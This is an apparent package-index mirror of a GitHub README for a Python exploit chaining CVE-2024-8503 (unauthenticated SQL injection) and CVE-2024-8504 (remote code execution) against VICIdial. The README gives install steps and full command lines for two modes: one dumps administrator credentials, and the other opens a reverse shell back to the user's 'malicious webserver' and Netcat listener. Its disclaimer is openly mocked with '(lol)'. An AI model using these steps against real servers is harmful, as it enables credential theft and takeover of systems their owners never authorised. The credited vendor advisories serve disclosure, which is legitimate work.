https://github.com/chocapikk/cve-2024-8504
VICIdial Unauthenticated SQLi to RCE Exploit (CVE-2024-8503 and CVE-2024-8504)
https://github.com/chocapikk/cve-2024-8504
Last synced: 11 months ago
JSON representation
VICIdial Unauthenticated SQLi to RCE Exploit (CVE-2024-8503 and CVE-2024-8504)
- Host: GitHub
- URL: https://github.com/chocapikk/cve-2024-8504
- Owner: Chocapikk
- Created: 2024-09-14T06:27:11.000Z (almost 2 years ago)
- Default Branch: main
- Last Pushed: 2024-09-15T21:34:35.000Z (almost 2 years ago)
- Last Synced: 2025-04-19T19:09:25.360Z (about 1 year ago)
- Language: Python
- Size: 108 KB
- Stars: 39
- Watchers: 4
- Forks: 5
- Open Issues: 1
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# ⚡️ Exploit for CVE-2024-8504 & CVE-2024-8503: SQLi and RCE ⚡️
## 🚨 Overview
This repository contains a combined exploit for two critical vulnerabilities discovered in **[VICIdial](https://vicidial.com)** by **[KoreLogic](https://korelogic.com)**:
- **CVE-2024-8503**: Unauthenticated SQL Injection (SQLi)
- **CVE-2024-8504**: Authenticated Remote Code Execution (RCE)
These vulnerabilities allow an attacker to retrieve administrative credentials through SQLi and ultimately execute arbitrary code on the target server via an RCE attack.
### 🛑 Advisory:
- **Vulnerability Type**: SQL Injection (CVE-2024-8503) and RCE (CVE-2024-8504)
- **Affected Software**: VICIdial
- **Severity**: Critical
- **CVE IDs**:
- **CVE-2024-8503** (SQLi)
- **CVE-2024-8504** (RCE)
### 🔗 Vulnerability Advisories:
- [CVE-2024-8503 - SQLi Advisory](https://korelogic.com/Resources/Advisories/KL-001-2024-011.txt)
- [CVE-2024-8504 - RCE Advisory](https://korelogic.com/Resources/Advisories/KL-001-2024-012.txt)
## ⚙️ Features
This exploit tool allows you to either:
1. **Retrieve administrator credentials via SQLi** (CVE-2024-8503)
2. **Achieve RCE via poisoned recording files** (CVE-2024-8504)
The tool is based on KoreLogic’s original research, with enhancements made to:
- Separate the **SQLi** and **RCE** functionalities for more flexibility.
- Improve the **user experience** by simplifying execution and error handling.
- Provide a cleaner and more **aesthetic output** using `rich_click`.
## 📜 Requirements
To use this exploit, you need:
- Python 3.10+
- A **server** where you can open TWO ports
- A target server running a vulnerable **VICIdial** instance
- Dependencies installed via `requirements.txt`
## ⚙️ Installation
1. Clone the repository:
```bash
git clone https://github.com/Chocapikk/CVE-2024-8504
cd CVE-2024-8504
```
2. Install the dependencies:
```bash
pip install -r requirements.txt
```
## 🛠️ Usage
### SQLi Mode (Retrieve Admin Credentials)
To perform only the **SQL Injection** attack and retrieve the administrative credentials, use the following command:
```bash
python exploit.py -u https://example.org
```
### RCE Mode (Remote Code Execution)
Once you have the administrator credentials, or if you already know them, you can launch a full RCE attack by running the following command:
```bash
python exploit.py -b -u https://example.org \
-wh -wp \
-lh -lp \
-un -pw
```
The `-b` option binds the reverse shell to your listener IP and port. This command will start a **Netcat** listener on the specified port and wait for an incoming reverse shell.
> ⚠️ Replace `` and `` with the values of your malicious webserver (where you execute the exploit) used to capture the reverse shell or inject payloads.
## 🌐 Usage Example with a server
It’s recommended to use a server where you can open ports to listen for reverse shells. Below are examples for both SQLi and RCE:
### Example for SQLi:
```bash
python exploit.py -u https://example.org
```
### Example for RCE:
```bash
python exploit.py -u https://example.org -wh -wp 5000 -lh -lp 1337 -un admin -pw password123 -b
```
## ✨ Improvements
- **Separation of vulnerabilities**: The tool clearly separates the execution of the **SQLi** and **RCE** functionalities, making it more flexible for different exploitation scenarios.
- **Cleaner output**: The output is more structured and easy to read, highlighting key steps and results.
- **Bug fixes**: Some bugs from the original exploit have been fixed to ensure smoother execution.
## 📄 Acknowledgements
This exploit is based on the original work by **[KoreLogic](https://korelogic.com)**, and full credit goes to them for the discovery and initial PoC:
- [CVE-2024-8503 - SQLi Advisory](https://korelogic.com/Resources/Advisories/KL-001-2024-011.txt)
- [CVE-2024-8504 - RCE Advisory](https://korelogic.com/Resources/Advisories/KL-001-2024-012.txt)
Special thanks to KoreLogic for the foundational work. This tool was adapted to improve ease of use, bug fixes, and better separation between the two vulnerabilities.
## 🛡️ Disclaimer
This tool is for **educational purposes** only (lol). Use of this exploit without explicit permission from the system owner is illegal. The author assumes no responsibility for the misuse of this tool. Scambaiters, you're welcome.